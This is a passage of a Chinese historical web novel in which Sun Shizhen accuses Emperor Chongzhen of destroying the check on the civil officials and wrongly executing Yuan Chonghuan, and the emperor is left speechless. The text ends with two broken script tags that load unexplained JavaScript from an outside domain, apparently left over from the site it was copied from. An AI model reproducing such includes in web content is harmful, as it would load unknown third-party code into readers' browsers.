“第二条:皇上自毁长城,废除厂卫平衡!”孙世振步步紧逼。
“魏忠贤固然该死,但他至少能制衡文官!他在时,辽东军饷尚能按时发放;他死后,文官一家独大,军饷被层层克扣,都落入了谁的腰包?不就是那些满口仁义道德的东林君子吗?”
这番话更是石破天惊,魏忠贤是崇祯登基后亲自铲除的阉党头目,一直被他视为自己的政绩之一。
“魏忠贤自称九千岁,祸乱朝纲,难道不该杀吗?”崇祯终于找到了反驳的理由,声音却显得底气不足。
“该杀!但杀了他之后呢?”孙世振立刻反问。
“皇上可曾培植新的力量来制衡文官?没有!您反而更加倚重他们,让他们肆无忌惮地贪墨、结党、误国!那些克扣军饷的文官,难道就不该杀吗?”
崇祯哑口无言。
他何尝不知道文官集团的腐败?
但他总以为,比起阉党,文官至少还要些脸面。
现在被孙世振一语道破,他才意识到自己的天真。
“第三条:皇上疑心过重,错杀边关大将!”孙世振的声音中带着痛惜。
“袁崇焕或许擅杀毛文龙,或许夸下五年平辽的海口,但他确实在辽东挡住了后金的铁骑!皇上可知‘善战者无赫赫之功’?只要他在,后金就不敢肆无忌惮地南下!”
提到袁崇焕,崇祯的眼中闪过复杂的神色。那是他心中永远的痛,也是他最为人诟病的决定之一。
“他私通后金...”崇祯试图辩解,声音却越来越小。
“证据呢?”孙世振直视着皇帝的眼睛。
“就凭那些捕风捉影的谣言?就凭后金粗劣的反间计?皇上,一个在前线殊死抵抗的将领,被自己誓死效忠的君王所杀,您知道这对军心是多大的打击吗?”
他顿了顿,声音中充满悲愤:“从此以后,边关将领人人自危,不敢放手作战,只怕稍有失误就步了袁崇焕的后尘!皇上,这不是自毁长城是什么?”
三个问题,如同三把利剑,一剑剑刺向崇祯内心最脆弱的地方。
大殿内死一般寂静。
王承恩已经吓得瘫软在地,他侍奉皇帝这么多年,从未见过有人敢如此直言不讳地指责皇上的过失。
崇祯呆呆地坐在龙椅上,脸色由白转青,由青转红。
他的嘴唇颤抖着,想要反驳,却发现自己无话可说。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">